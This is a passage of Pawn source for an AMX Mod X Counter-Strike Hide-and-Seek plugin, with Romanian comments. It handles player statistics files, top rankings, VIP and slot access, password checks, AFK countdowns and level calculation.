							format(fNewLine, 511, "^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^"",\
							tNume, tParola, tTime, tUnixLast, tLastIP, tLast, statsKill, statsHs, statsRound, statsDeath, statsSuicide,\
							regInreg, vipStart, vipDurata, vipGrad, vipEnd)
							write_file(tFile, fNewLine, -1)
						}
						xLinie++
					}
					write_file(bkFile, "------------------------------ DATA ------------------------------", -1)
					fclose(oFile)
				}
				lLog("* Linii: %d", xLinie)
				lLog("* dPlayers: %d", removedPlayers)
				lLog("* aPlayers: %d", activePlayers)
				lLog("* dVIP: %d", removedVip)
				lLog("* aVIP: %d", activeVip)
				lLog("* dSLOT: %d", removedSlot)
				lLog("* aSLOT: %d", activeSlot)
				// Save New File.
				if (delete_file(sStatsFile)) {
					lLog("* Fisierul a fost sters: [%s]", sStatsFile)
					if (rename_file(tFile, sStatsFile, 1))
					{
						lLog("* Fisierul a fost redenumit. [%s] > [%s]", tFile, sStatsFile)
						CleanStatus(true)
					}
					else
					{
						lLog("* EROARE: Nu pot redenumi fisierul: [%s]", tFile)
					}
				}
				else
				{
					lLog("* Nu pot sterge fisierul: [%s]", sStatsFile)
					delete_file(tFile)
				}
				lLog("****************************** FINISH ******************************")
			}
		}
	}
	return PLUGIN_HANDLED
}

lLog(const msg[], any:...)
{
	new xLg[512]
	vformat(xLg, 250, msg, 2)
	write_file(sCleanMod, xLg, -1)
}

CleanStatus(mode)
{
	/* True = Seteaza
	False = Returneaza */
	new xLinie, xText[64], L1[32], L2[32], fNew[64]
	if (file_exists(sStatsFile))
	{
		new oFile = fopen(sStatsFile, "r")
		while(!feof(oFile))
		{
			fgets(oFile, xText, 63)
			trim(xText)
			
			if (xText[0] == '!')
			{
				parse(xText, L1, 31, L2, 31)
				if (mode)
				{
					format(fNew, 63, "!^"LastUpdate^" ^"%d^"", time())
					write_file(sStatsFile, fNew, xLinie)
					break
				}
				else
				{
					fclose(oFile)
					return str_to_num(L2)
				}
			}
			xLinie++
		}
		fclose(oFile)
	}
	return 0
}

/* ==========================================================================================
===================================================== Update TOP
========================================================================================== */
public UpdateTop()
{
	new count
	/* Reset Lsat Stats */
	for (new i=0;i < MAX_COUNT; i++)
	{
		sortJucatori[i][0] = 0
		sortJucatori[i][1] = 0
		sortOre[i][0] = 0
		sortOre[i][1] = 0
		format(sortMore[i], 255, "")
	}
	/* Up Top */
	if (file_exists(sStatsFile))
	{
		new xText[512], tNume[64], tParola[64], tTime[32], tUnixLast[32], tLastIP[32], tLast[32], iDay = get_pcvar_num(get_cvar_pointer("hnsf_zile_inactive"))
		new statsKill[10], statsHs[10], statsRound[10], statsDeath[10], statsSuicide[10]
		new regInreg[2], vipStart[32], vipDurata[6], vipGrad[2], vipEnd[64]
		new IsOn
		new oFile = fopen(sStatsFile, "r")
		while(!feof(oFile))
		{
			fgets(oFile, xText, 511)
			trim(xText)
			
			tNume[0] = 0
			tParola[0] = 0
			
			if (xText[0] == ';' || xText[0] == '!' || 
				parse(xText, tNume, 63, tParola, 63, tTime, 31, tUnixLast, 31, tLastIP, 31, tLast, 31, \
				statsKill, 9, statsHs, 9, statsRound, 9, statsDeath, 9, statsSuicide, 9, \
				regInreg, 1, vipStart, 31, vipDurata, 5, vipGrad, 1, vipEnd, 63) < 2)
				continue
			
			IsOn = IsOnline(tNume)
			if (IsOn != 0)
			{
				format(tTime, 31, "%d", plTime[IsOn][0] + get_user_time(IsOn, 1))
				format(tUnixLast, 31, "%d", plTime[IsOn][1])
				format(tLast, 31, "%s", plLast[IsOn])
				format(statsKill, 9, "%d", plStats[IsOn][0])
				format(statsHs, 9, "%d", plStats[IsOn][1])
				format(statsRound, 9, "%d", plStats[IsOn][2])
				format(statsDeath, 9, "%d", plStats[IsOn][3])
				format(statsSuicide, 9, "%d", plStats[IsOn][4])
				format(regInreg, 1, "%d", plAcces[IsOn])
				format(vipStart, 31, "%d", plVipInfo[IsOn][0])
				format(vipDurata, 31, "%d", plVipInfo[IsOn][1])
				format(vipGrad, 31, "%d", plVipInfo[IsOn][2])
				format(vipEnd, 31, "%s", plVipEnd[IsOn])
				format(xText, 511, "^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^"", \
				tNume, tParola, tTime, tUnixLast, tLastIP, tLast, statsKill, statsHs, statsRound, statsDeath, statsSuicide, regInreg, vipStart, vipDurata, vipGrad, vipEnd)
			}
			
			if (str_to_num(tUnixLast) + (86400 * iDay) <= time())
				continue
				
			if (count >= MAX_COUNT-1)
			{
				set_pcvar_num(cvInactiveDay, iDay - 1)
				fclose(oFile)
				UpdateTop()
				return
			}
			
			sortJucatori[count][0] = count
			sortJucatori[count][1] = CalculateStats(0, str_to_num(statsKill), str_to_num(statsHs), str_to_num(statsRound), str_to_num(statsDeath), str_to_num(statsSuicide))
			
			sortOre[count][0] = count
			sortOre[count][1] = str_to_num(tTime)
			
			copy(sortMore[count], 255, xText)
			
			count++
		}
		fclose(oFile)
	}
	/* Sort */
	SortCustom2D(sortJucatori, count, "sort_descendent")
	SortCustom2D(sortOre, count, "sort_descendent")
	topTotalPlayers = count
	/* Binding Tops */
	for (new y=0;y < TOP;y++)
	{
		new tCln[2], pNume[32], pAcces[2], oNume[32], oAcces[2], oLast[32]
		new pStatsKill[10], pStatsHs[10], pStatsRound[10], pStatsDeath[10], pStatsSuicide[10]
		parse(sortMore[sortOre[y][0]], oNume, 31, tCln, 1, tCln, 1, tCln, 1, tCln, 1, oLast, 31, tCln, 1, tCln, 1, tCln, 1, tCln, 1, tCln, 1, oAcces, 1)
		parse(sortMore[sortJucatori[y][0]], pNume, 31, tCln, 1, tCln, 1, tCln, 1, tCln, 1, tCln, 1, pStatsKill, 9, pStatsHs, 9, pStatsRound, 9, pStatsDeath, 9, pStatsSuicide, 9, pAcces, 1)
		/* Bind */
		copy(topOreNume[y], 31, oNume)
		format(topOreTime[y], 31, "%d", sortOre[y][1])
		copy(topOreLast[y], 31, oLast)
		
		copy(topJucatoriNume[y], 31, pNume)
		topJucatoriStats[y][0] = str_to_num(pStatsKill)
		topJucatoriStats[y][1] = str_to_num(pStatsHs)
		topJucatoriStats[y][2] = str_to_num(pStatsRound)
		topJucatoriStats[y][3] = str_to_num(pStatsDeath)
		topJucatoriStats[y][4] = str_to_num(pStatsSuicide)
		topJucatoriLvl[y][0] = CalculateStats(0, topJucatoriStats[y][0], topJucatoriStats[y][1], topJucatoriStats[y][2], topJucatoriStats[y][3], topJucatoriStats[y][4])
		topJucatoriLvl[y][1] = CalculateLevel(0, topJucatoriStats[y][0], topJucatoriStats[y][1], topJucatoriStats[y][2], topJucatoriStats[y][3], topJucatoriStats[y][4])

		switch(str_to_num(oAcces))
		{
			case 0: format(topOreAcces[y], 31, "[NORMAL]")
			case 1: format(topOreAcces[y], 31, "[-SLOT-]")
			case 2: format(topOreAcces[y], 31, "[-VIP-]")
		}
		switch(str_to_num(pAcces))
		{
			case 0: format(topJucatoriAcces[y], 31, "[NORMAL]")
			case 1: format(topJucatoriAcces[y], 31, "[-SLOT-]")
			case 2: format(topJucatoriAcces[y], 31, "[-VIP-]")
		}
	}
	get_time("%d.%m.%Y %H:%M:%S", topLastUpdate, 31)
	xColor(0, "Topurile au fost updatate. (!g/rankme!n /!g /topjucatori!n /!g /topore!n)")
	return
}

public sort_descendent(elem1[],elem2[]) {
	if(elem1[1] > elem2[1]) return -1
	else if(elem1[1] < elem2[1]) return 1
	return 0
}

/* ==========================================================================================
===================================================== Functii Globale
========================================================================================== */
InfoPlayer(vNume[], rParola[], rTime[], rLastIP[], rLast[], rStats[], rSlotVipInfo[], rVipEnd[])
{
	new fReturn = false
	if (file_exists(sStatsFile))
	{
		new xText[512], tNume[64], tParola[64], tTime[32], tUnixLast[32], tLastIP[32], tLast[32]
		new statsKill[32], statsHs[32], statsRound[32], statsDeath[32], statsSuicide[32]
		new regInreg[2], vipStart[32], vipDurata[6], vipGrad[2], vipEnd[64]
		new oFile = fopen(sStatsFile, "r")
		while(!feof(oFile))
		{
			fgets(oFile, xText, 511)
			trim(xText)

			tNume[0] = 0
			tParola[0] = 0

			if (xText[0] == ';' || xText[0] == '!' ||
				parse(xText, tNume, 63, tParola, 63, tTime, 31, tUnixLast, 31, tLastIP, 31, tLast, 31, \
				statsKill, 31, statsHs, 31, statsRound, 31, statsDeath, 31, statsSuicide, 31, \
				regInreg, 1, vipStart, 31, vipDurata, 5, vipGrad, 1, vipEnd, 63) < 2)
				continue

			if (equali(vNume, tNume))
			{
				format(rParola, 63, tParola)
					
				rTime[0] = str_to_num(tTime)
				rTime[1] = str_to_num(tUnixLast)

				format(rLastIP, 63, tLastIP)
				format(rLast, 63, tLast)

				rStats[0] = str_to_num(statsKill)
				rStats[1] = str_to_num(statsHs)
				rStats[2] = str_to_num(statsRound)
				rStats[3] = str_to_num(statsDeath)
				rStats[4] = str_to_num(statsSuicide)

				rSlotVipInfo[0] = str_to_num(regInreg)
				rSlotVipInfo[1] = str_to_num(vipStart)
				rSlotVipInfo[2] = str_to_num(vipDurata)
				rSlotVipInfo[3] = str_to_num(vipGrad)

				format(rVipEnd, 63, vipEnd)
				
				fReturn = true
				
				stats_LOG(0, vNume, rTime[0], rLastIP, rStats[0], rStats[1], rStats[2], rStats[3], rStats[4], rSlotVipInfo[0], rSlotVipInfo[1], rSlotVipInfo[2], rSlotVipInfo[3])  
			}
		}
		fclose(oFile)
	}
	return fReturn
}

VerificareParola(id, pass[])
{
	new UserPw[64]
	get_user_info(id, PwFieldServer, UserPw, 63)
	if (equal(pass, UserPw))
		return true
	return false
}

VerificareUser(id)
{
	new Nume[32], Ip[32]
	get_user_name(id, Nume, 31)
	get_user_ip(id, Ip, 31, 1)
	new infoParola[64], infoTime[2], infoLastIP[64], infoLast[64], infoStats[5], infoReg[4], infoVipEnd[64]
	if (InfoPlayer(Nume, infoParola, infoTime, infoLastIP, infoLast, infoStats, infoReg, infoVipEnd))
	{
		plAcces[id] = 0
		switch(infoReg[0])
		{
			case 0: 
			{
				plAcces[id]=0			// Normal
				plVipInfo[id][0]=0
				plVipInfo[id][1]=0
				plVipInfo[id][2]=0
				format(plVipEnd[id], 63, "")
				ResetModel(id)
			}
			case 1:
			{
				plAcces[id]=1		// Slot
				plVipInfo[id][0]=0
				plVipInfo[id][1]=0
				plVipInfo[id][2]=0
				format(plVipEnd[id], 63, "")
				ResetModel(id)
			}
			case 2:
			{
				plAcces[id]=2	// Vip
				plVipInfo[id][0]=infoReg[1]
				plVipInfo[id][1]=infoReg[2]
				plVipInfo[id][2]=infoReg[3]
				copy(plVipEnd[id], 63, infoVipEnd)
				SetModel(id, true)
			}
		}

		if (plAcces[id] > 0)
		{
			if (!VerificareParola(id, infoParola))
			{
				server_cmd("kick #%d ^"Daca ai incercat sa intri pe numele adminului, iei **** ! [setinfo %s PAROLA]^"", get_user_userid(id), PwFieldServer)
			}
			else
			{
				if (plAcces[id] == 1 || plAcces[id] == 2)
				{
					new sAcces
					if (plAcces[id] == 1)
					{
						sAcces = read_flags(SLOT_ACCES)
					}
					if (plAcces[id] == 2)
					{
						new vInfo = plVipInfo[id][2]
						sAcces = read_flags(VipAcces[vInfo])
					}
					remove_user_flags(id)
					set_user_flags(id, sAcces)
					admins_push(Nume, infoParola, sAcces, read_flags("a"))
				}
			}
		}
		plStats[id][0]=infoStats[0]
		plStats[id][1]=infoStats[1]
		plStats[id][2]=infoStats[2]
		plStats[id][3]=infoStats[3]
		plStats[id][4]=infoStats[4]
		plTime[id][0]=infoTime[0]
		plTime[id][1]=infoTime[1]
		copy(plLastIP[id], 63, infoLastIP)
		copy(plLast[id], 63, infoLast)

		copy(plPass[id], 63, infoParola)
		ScoreAttrib(id)
		plNoBug[id][0] = infoTime[0]
		plNoBug[id][1] = infoStats[0]
		plNoBug[id][2] = infoStats[1]
		plNoBug[id][3] = infoStats[2]
		plNoBug[id][4] = infoStats[3]
		plNoBug[id][5] = infoStats[4]
		stats_LOG(1, Nume, plTime[id][0], plLastIP[id], plStats[id][0], plStats[id][1], plStats[id][2], plStats[id][3], plStats[id][4], plAcces[id], plVipInfo[id][0], plVipInfo[id][1], plVipInfo[id][2]) 
	}
	else
	{
		plAcces[id] = 0
		plStats[id][0]=0
		plStats[id][1]=0
		plStats[id][2]=0
		plStats[id][3]=0
		plStats[id][4]=0
		plTime[id][0]=0
		plTime[id][1]=0
		format(plLast[id], 63, "-")
		format(plPass[id], 63, "")
		copy(plLastIP[id], 63, Ip)
		
		ScoreAttrib(id)
		ResetModel(id)
		plNoBug[id][0] = 0
		plNoBug[id][1] = 0
		plNoBug[id][2] = 0
		plNoBug[id][3] = 0
		plNoBug[id][4] = 0
		plNoBug[id][5] = 0
		stats_LOG(4, Nume, plTime[id][0], Ip, plStats[id][0], plStats[id][1], plStats[id][2], plStats[id][3], plStats[id][4], plAcces[id], plVipInfo[id][0], plVipInfo[id][1], plVipInfo[id][2])
	}
}

ConvertTime(sec, Time[], full) {
	Time[0] = sec / 3600 / 24		// Zile
	if (full)
		Time[1] = (sec / 3600) % 24	// Ore
	else
		Time[1] = sec / 3600		// Ore
	Time[2] = (sec / 60) % 60		// Min
	Time[3] = sec % 60				// Secunde
}

SalvareStatistici(id, numex[], sec, minus=0)
{
	new Nume[32], Date[32], fLine[512], whdz[4], Ip[32]
	get_time("%d.%m.%Y %H:%M:%S", Date, 31)
	get_user_ip(id, Ip, 31, 1)
	if (id != 0)
		get_user_name(id, Nume, 31)
	else
		copy(Nume, 31, numex)
	if (str_to_num(FURT_DE_IDENTITATE))
	{
		if (!CheckFraud(id, plLastIP[id]) && str_to_num(VERIFICA_JUCATOR))
		{
			stats_LOG(-2)
			stats_LOG(7, Nume, plNoBug[id][0], plLastIP[id], plNoBug[id][1], plNoBug[id][2], plNoBug[id][3], plNoBug[id][4], plNoBug[id][5], plAcces[id], plVipInfo[id][0], plVipInfo[id][1], plVipInfo[id][2])
			stats_LOG(8, Nume, plTime[id][0], Ip, plStats[id][0], plStats[id][1], plStats[id][2], plStats[id][3], plStats[id][4], plAcces[id], plVipInfo[id][0], plVipInfo[id][1], plVipInfo[id][2])
			stats_LOG(-2)
			return false
		}
	}
	if (plNoBug[id][0] >= (plTime[id][0] + sec) - minus && 
	(plNoBug[id][1] < plStats[id][0] || plNoBug[id][2] < plStats[id][1] || plNoBug[id][3] < plStats[id][2] || plNoBug[id][4] < plStats[id][3] || plNoBug[id][5] < plStats[id][4]))
	{
		stats_LOG(-1)
		stats_LOG(3, Nume, plTime[id][0], plLastIP[id], plStats[id][0], plStats[id][1], plStats[id][2], plStats[id][3], plStats[id][4], plAcces[id], plVipInfo[id][0], plVipInfo[id][1], plVipInfo[id][2])
		stats_LOG(6, Nume, plNoBug[id][0], Ip, plNoBug[id][1], plNoBug[id][2], plNoBug[id][3], plNoBug[id][4], plNoBug[id][5], plAcces[id], plVipInfo[id][0], plVipInfo[id][1], plVipInfo[id][2])
		stats_LOG(-1)
		return false
	}
	switch(plAcces[id])
	{
		case 0:
		{
			whdz[0] = 0
			whdz[1] = 0
			whdz[2] = 0
			whdz[3] = 0
			format(plVipEnd[id], 31, "-")
		}
		case 1:
		{
			whdz[0] = 1
			whdz[1] = 0
			whdz[2] = 0
			whdz[3] = 0
			format(plVipEnd[id], 31, "-")
		}
		case 2:
		{
			whdz[0] = 2
			whdz[1] = plVipInfo[id][0]
			whdz[2] = plVipInfo[id][1]
			whdz[3] = plVipInfo[id][2]
		}
	}

	format(fLine, 511, "^"%s^" ^"%s^" ^"%d^" ^"%d^" ^"%s^" ^"%s^" ^"%d^" ^"%d^" ^"%d^" ^"%d^" ^"%d^" ^"%d^" ^"%d^" ^"%d^" ^"%d^" ^"%s^"", \
		Nume, plPass[id], (plTime[id][0] + sec) - minus, time(), Ip, Date,\
		plStats[id][0], plStats[id][1], plStats[id][2], plStats[id][3], plStats[id][4],\
		whdz[0], whdz[1], whdz[2], whdz[3], plVipEnd[id])
	if (file_exists(sStatsFile))		
	{
		new xLinie, xText[512], tNume[64], tParola[64]
		new oFile = fopen(sStatsFile, "r")
		while(!feof(oFile))
		{
			fgets(oFile, xText, 511)
			trim(xText)

			tNume[0] = 0
			tParola[0] = 0

			if (xText[0] == ';' || xText[0] == '!' ||
				parse(xText, tNume, 63, tParola, 63) < 2)
			{
				xLinie++
				continue
			}
			if (equali(tNume, Nume)) 
			{
				write_file(sStatsFile, fLine, xLinie)
				fclose(oFile)
				stats_LOG(2, Nume, plTime[id][0], plLastIP[id], plStats[id][0], plStats[id][1], plStats[id][2], plStats[id][3], plStats[id][4], plAcces[id], plVipInfo[id][0], plVipInfo[id][1], plVipInfo[id][2]) 
				return true
			}
			xLinie++
		}
		write_file(sStatsFile, fLine, -1)
		fclose(oFile)
		stats_LOG(5, Nume, plTime[id][0], Ip, plStats[id][0], plStats[id][1], plStats[id][2], plStats[id][3], plStats[id][4], plAcces[id], plVipInfo[id][0], plVipInfo[id][1], plVipInfo[id][2]) 
	}
	return false
}

CalculateStats(id, kx=0, hx=0, rx=0, dx=0, sx=0)
{
	new xRank
	if (id != 0)
		xRank = (plStats[id][0] + plStats[id][1] + plStats[id][2]) - (plStats[id][3] + plStats[id][4])
	else
		xRank = (kx + hx + rx) - (dx + sx)
	return xRank
}

IsVip(id)
{
	if (is_user_connected(id) || !is_user_bot(id))
		for (new i=1; i < sizeof(VipAcces); i++)
			if (get_user_flags(id) == read_flags(VipAcces[i]))
				return i
	return 0
}

public CountDownTime(CD[])
{
	new xMsg[512], id = CD[0], ch = 2, Float:posX = 0.03, Float:posY = 0.50
	new rR = random_num(40, 254)
	new rG = random_num(40, 254)
	new rB = random_num(40, 254)
	if (CD[1] < 1)
	{
		switch(CD[2])
		{
			case 1:
			{
				if (get_user_team(id) == 1)
					format(xMsg, 511, "Rezista tot mai mult pentru a acumula puncte.")
				if (get_user_team(id) == 2)
					format(xMsg, 511, "Omoara cat mai mult pentru a acumula puncte.")
			}
			case 2:
			{
				format(xMsg, 511, "Activarea slotului a fost anulata.")
			}
			case 3:
			{
				if (get_user_flags(id) & ADMIN_KICK)
				{
					format(xMsg, 511, "Esti AFK.^nVei fi trimis spectator %d secunde", AFK_TIME)
					posY = 0.52
					afkAdmin(id)
				}
				else
				{
					afkKick(id)
				}
			}
			case 4:
			{
				afkKick(id)
			}
		}
		set_hudmessage(0, 255, 0, posX, posY, /* Pozitia*/ 0 /*fx*/, 3.0 /*fx time*/, 4.5 /*hold time*/, 1.5 /*fade in*/, 1.5 /*fade out*/, ch /*ch*/)
		show_hudmessage(id, xMsg)
	}
	else
	{
		switch(CD[2])
		{
			case 1: format(xMsg, 511, "In %d secund%s vei primi itemele.", CD[1], CD[1] == 1 ? "a" : "e")
			case 2: format(xMsg, 511, "Ai %d secund%s pentru parola slotului.", CD[1], CD[1] == 1 ? "a" : "e")
			case 3: 
			{
				if (afkChk(id, false))
				{
					format(xMsg, 511, "Ai %d secund%s pentru a te misca.^nAltfel vei %s", CD[1], CD[1] == 1 ? "a" : "e", get_user_flags(id) & ADMIN_KICK ? "fi trimis spectator" : "primi kick")
					posY = 0.58
					ch = 4
				}
				else
				{
					ch = 4
					format(xMsg, 511, "Treci la joc !.")
					CD[2] = 0
					posY = 0.58
					afkStopAFK[id] = 0
					afkTime[id] = AFK_TIME
				}
			}
			case 4:
			{
				if (get_user_team(id) == 1 || get_user_team(id) == 2)
				{
					format(xMsg, 511, "Ai revenit la joc !.")
					CD[2] = 0
					posY = 0.58
					afkStopAFK[id] = 0
					ch = 4
					afkTime[id] = AFK_TIME
				}
				else
				{
					format(xMsg, 511, "Ai %d secund%s pentru a reveni la o echipa.", CD[1], CD[1] == 1 ? "a" : "e")
					if (CD[1] < 60)
						format(xMsg, 511, "%s^nTasteaza in chat %d pentru a reseta secundele.", xMsg, afkStopAFK[id])
					afkTime[id]--
					ch = 4
					posY = 0.58
					ch = 4
				}
			}
			default: format(xMsg, 511, "")
		}
		set_hudmessage(rR, rG, rB, posX, posY, /* Pozitia*/ 1 /*fx*/, 1.5 /*fx time*/, 0.5 /*hold time*/, 0.3 /*fade in*/, 0.6 /*fade out*/, ch /*ch*/)
		show_hudmessage(id, xMsg)
		new nSend[3]
		nSend[0] = id
		nSend[2] = CD[2]
		switch(CD[2])
		{
			case 4: nSend[1] = afkTime[id]
			default: nSend[1] = CD[1] - 1
		}

		switch(CD[2])
		{
			case 1: set_task(1.0, "CountDownTime", CD[0] + TASK_ITEMS, nSend, 3)
			case 2: set_task(1.0, "CountDownTime", CD[0] + TASK_SLOTME_PW, nSend, 3)
			case 3: set_task(1.0, "CountDownTime", CD[0] + TASK_AFK_ADV_TIME, nSend, 3)
			case 4: set_task(1.0, "CountDownTime", CD[0] + TASK_AFK_TIME, nSend, 3)
			default: return PLUGIN_HANDLED
		}
	}
	return PLUGIN_HANDLED
}

CalculateLevel(id, kx=0, hx=0, rx=0, dx=0, sx=0)
{
	new xRank
	if (id != 0)
		xRank = CalculateStats(id)
	else
		xRank = CalculateStats(0, kx, hx, rx, dx, sx)
	if (xRank >= str_to_num(LevelXP[45]))
		return 45
	if (xRank >= str_to_num(LevelXP[44]))
		return 44
	if (xRank >= str_to_num(LevelXP[43]))
		return 43
	if (xRank >= str_to_num(LevelXP[42]))
		return 42
	if (xRank >= str_to_num(LevelXP[41]))
		return 41
	if (xRank >= str_to_num(LevelXP[40]))
		return 40
	if (xRank >= str_to_num(LevelXP[39]))
		return 39
	if (xRank >= str_to_num(LevelXP[38]))
		return 38
	if (xRank >= str_to_num(LevelXP[37]))
		return 37
	if (xRank >= str_to_num(LevelXP[36]))
		return 36
	if (xRank >= str_to_num(LevelXP[35]))
		return 35
	if (xRank >= str_to_num(LevelXP[34]))
		return 34
	if (xRank >= str_to_num(LevelXP[33]))
		return 33
	if (xRank >= str_to_num(LevelXP[32]))
		return 32
	if (xRank >= str_to_num(LevelXP[31]))
		return 31
	if (xRank >= str_to_num(LevelXP[30]))
		return 30
	if (xRank >= str_to_num(LevelXP[29]))
		return 29
	if (xRank >= str_to_num(LevelXP[28]))
		return 28
	if (xRank >= str_to_num(LevelXP[27]))
		return 27
	if (xRank >= str_to_num(LevelXP[26]))
		return 26
	if (xRank >= str_to_num(LevelXP[25]))
		return 25
	if (xRank >= str_to_num(LevelXP[24]))
		return 24
	if (xRank >= str_to_num(LevelXP[23]))
		return 23
	if (xRank >= str_to_num(LevelXP[22]))
		return 22
	if (xRank >= str_to_num(LevelXP[21]))
		return 21
	if (xRank >= str_to_num(LevelXP[20]))
		return 20
	if (xRank >= str_to_num(LevelXP[19]))
		return 19
	if (xRank >= str_to_num(LevelXP[18]))
		return 18
	if (xRank >= str_to_num(LevelXP[17]))
		return 17
	if (xRank >= str_to_num(LevelXP[16]))
		return 16
	if (xRank >= str_to_num(LevelXP[15]))
		return 15
	if (xRank >= str_to_num(LevelXP[14]))
		return 14
	if (xRank >= str_to_num(LevelXP[13]))
		return 13
	if (xRank >= str_to_num(LevelXP[12]))
		return 12
	if (xRank >= str_to_num(LevelXP[11]))
		return 11
	if (xRank >= str_to_num(LevelXP[10]))
		return 10
	if (xRank >= str_to_num(LevelXP[9]))
		return 9
	if (xRank >= str_to_num(LevelXP[8]))
		return 8
	if (xRank >= str_to_num(LevelXP[7]))
		return 7
	if (xRank >= str_to_num(LevelXP[6]))
		return 6
	if (xRank >= str_to_num(LevelXP[5]))
		return 5
	if (xRank >= str_to_num(LevelXP[4]))
		return 4
	if (xRank >= str_to_num(LevelXP[3]))
		return 3
	if (xRank >= str_to_num(LevelXP[2]))
		return 2
	if (xRank >= str_to_num(LevelXP[1]))
		return 1
	if (xRank < str_to_num(LevelXP[0]))
		return 0
	return 0
}

CalculatePoints(id)
{
	switch(ptPlStats[id][0])
	{
		case 0..1:		return 0
		case 2..3:		return 1
		case 4..5:		return 2
		case 6..7:		return 3
		case 8..9:		return 4
		case 10..13:	return 5
		case 14..17:	return 6
		case 18..21:	return 7
		case 22..24:	return 8
		case 25..29:	return 9
		case 30..1000:	return 10
		default: 		return 0
	}
	return 0
}

sayItem(mode, loc, rBack[], rMax)
{
	new fTemp[128]
	switch(mode)
	{
		/* Level */
		case 0: 
		{
			formatItem(0, LevelItemFl[loc], fTemp, 127)
			formatItem(1, LevelItemSm[loc], fTemp, 127)
			formatItem(2, LevelItemHe[loc], fTemp, 127)
			formatItem(3, LevelItemDgl[loc], fTemp, 127)
			formatItem(4, LevelItemMn[loc], fTemp, 127)
			formatItem(5, LevelItemHp[loc], fTemp, 127)
		}
		/* Point */
		case 1:
		{
			formatItem(0, PointItemFl[loc], fTemp, 127)
			formatItem(1, PointItemSm[loc], fTemp, 127)
			formatItem(2, PointItemHe[loc], fTemp, 127)
			formatItem(3, PointItemDgl[loc], fTemp, 127)
			formatItem(4, PointItemMn[loc], fTemp, 127)
			formatItem(5, PointItemHp[loc], fTemp, 127)
		}
		/* Vip */
		case 2:
		{
			formatItem(0, VipItemFl[loc], fTemp, 127)
			formatItem(1, VipItemSm[loc], fTemp, 127)
			formatItem(2, VipItemHe[loc], fTemp, 127)
			formatItem(3, VipItemDgl[loc], fTemp, 127)
			formatItem(4, VipItemMn[loc], fTemp, 127)
			formatItem(5, VipItemHp[loc], fTemp, 127)
		}
	}
	copy(rBack, rMax, fTemp)
}

formatItem(item, ct[], rB[], rM)
{
	new fTemp[64]
	if (str_to_num(ct) > 0)
	{
		switch(item)
		{
			case 0: format(fTemp, 63, "[+!g%s!nFL]", ct)
			case 1: format(fTemp, 63, "[+!g%s!nSM]", ct)
			case 2: format(fTemp, 63, "[+!g%s!nHE]", ct)
			case 3: format(fTemp, 63, "[+!g%s!nDGL]", ct)
			case 4: format(fTemp, 63, "[+!g%s!n$]", ct)
			case 5: format(fTemp, 63, "[+!g%s!nHP]", ct)
		}
	}
	add(rB, rM, fTemp)
}

IsOnline(Nume[])
{
	new tNume[32], xP[32], xN
	get_players(xP, xN, "c")
	for (new i=0;i < xN;i++)
	{
		get_user_name(xP[i], tNume, 31)
		if (equali(tNume, Nume))
			return xP[i]	
	}
	return 0
}

PlayerStats(Nume[], pStats[], pLvl[])
{
	new i, tCln[2], pNume[32], pStatsKill[10], pStatsHs[10], pStatsRound[10], pStatsDeath[10], pStatsSuicide[10]
	for (i=0;i < MAX_COUNT;i++)
	{
		parse(sortMore[sortJucatori[i][0]], pNume, 31, tCln, 1, tCln, 1, tCln, 1, tCln, 1, tCln, 1, pStatsKill, 9, pStatsHs, 9, pStatsRound, 9, pStatsDeath, 9, pStatsSuicide, 9)
		if (equali(Nume, pNume))
		{
			pStats[0] = str_to_num(pStatsKill)
			pStats[1] = str_to_num(pStatsHs)
			pStats[2] = str_to_num(pStatsRound)
			pStats[3] = str_to_num(pStatsDeath)
			pStats[4] = str_to_num(pStatsSuicide)
			pLvl[0] = CalculateLevel(0, pStats[0], pStats[1], pStats[2], pStats[3], pStats[4])
			pLvl[1] = CalculateStats(0, pStats[0], pStats[1], pStats[2], pStats[3], pStats[4])
			return i+1
		}
	}
	return 0
}

AdminStatus(Nume[], action, pass[], max)
{
	/* TRUE -> Activeaza
	FALSE -> Dezactiveaza */
	new FileLoc[128], tForm[256], Linie, xText[256], tNume[32], tPass[32], tAcces[32], tFlag[6], find=false
	get_configsdir(FileLoc, 125)
	format(FileLoc, 125, "%s/users.ini", FileLoc)
	if (file_exists(FileLoc))
	{
		new xFile = fopen(FileLoc, "r")
		while(!feof(xFile))
		{
			fgets(xFile, xText, 255)
			trim(xText)
			
			tNume[0] = 0
			tPass[0] = 0
			
			if (xText[0] == ';')
			{
				parse(xText[1], tNume, 31, tPass, 31, tAcces, 31, tFlag, 5)
			}
			else
			{
				parse(xText, tNume, 31, tPass, 31, tAcces, 31, tFlag, 5)
			}
			if (equali(tNume, Nume))
				find = true
			
			if (find)
			{
				if (action)
				{
					format(tForm, 255, "^"%s^" ^"%s^" ^"%s^" ^"%s^"", tNume, tPass, tAcces, tFlag)
				}
				else
				{
					format(tForm, 255, ";^"%s^" ^"%s^" ^"%s^" ^"%s^" ; Dezactivat automat de catre pluginu HNS_LEVEL_MIKE.", tNume, tPass, tAcces, tFlag)
				}
				write_file(FileLoc, tForm, Linie)
				if (max !=0)
					copy(pass, max, tPass)
				fclose(xFile)
				return true
			}
			Linie++
		}
		fclose(xFile)
	}
	return false
}

ExpDate(time, exp[], max) {
	static _Ore[5], _Min[5], _Sec[5], _Luna[5], _Ziua[5], _An[7]
	format_time(_Ore, sizeof(_Ore) - 1, "%H")
	format_time(_Min, sizeof(_Min) - 1, "%M")
	format_time(_Sec, sizeof(_Sec) - 1, "%S")
	format_time(_Luna, sizeof(_Luna) - 1, "%m")
	format_time(_Ziua, sizeof(_Ziua) - 1, "%d")
	format_time(_An, sizeof(_An) - 1, "%Y")
	
	new Ore = str_to_num(_Ore)
	new Minute = str_to_num(_Min)
	new Secunde = str_to_num(_Sec)
	new Luna = str_to_num(_Luna)
	new Ziua = str_to_num(_Ziua)
	new Anu = str_to_num(_An)
	
	Minute += time;
	while( Minute >= 60 ) {
		Minute -= 60
		Ore++
	}
	
	while( Ore >= 24 ) {
		Ore -= 24
		Ziua++
	}
	
	new lFeb = GDL(Luna, Anu)
	while( Ziua > lFeb ) {
		Ziua -= lFeb
		Luna++
	}
	
	while( Luna > 12 ) {
		Luna -= 12
		Anu++
	}
